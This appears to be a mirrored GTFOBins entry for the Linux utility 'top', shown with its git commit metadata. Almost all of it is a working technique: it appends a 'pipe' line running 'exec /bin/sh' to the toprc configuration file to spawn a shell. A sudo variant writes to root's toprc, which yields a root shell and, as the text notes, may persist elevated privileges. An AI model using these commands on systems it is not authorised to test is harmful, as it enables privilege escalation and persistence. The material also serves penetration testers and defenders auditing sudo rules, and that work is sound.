1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 10:53:35 +02:00
GTFOBins.github.io/_gtfobins/top.md
Andrea Cardaci 236f88cd34 Fix and clarify sudo for top
Related #81.
2020-01-28 22:33:55 +01:00

18 lines
655 B
Markdown

---
description: This requires that an existing configuration file is present, to create one run `top` then type `Wq`. Note down the actual configuration file path and use it in the below examples.
functions:
shell:
- code: |
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
top
# press return twice
reset
sudo:
- description: This requires that the root configuration file is writable and might be used to persist elevated privileges.
code: |
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>/root/.config/procps/toprc
sudo top
# press return twice
reset
---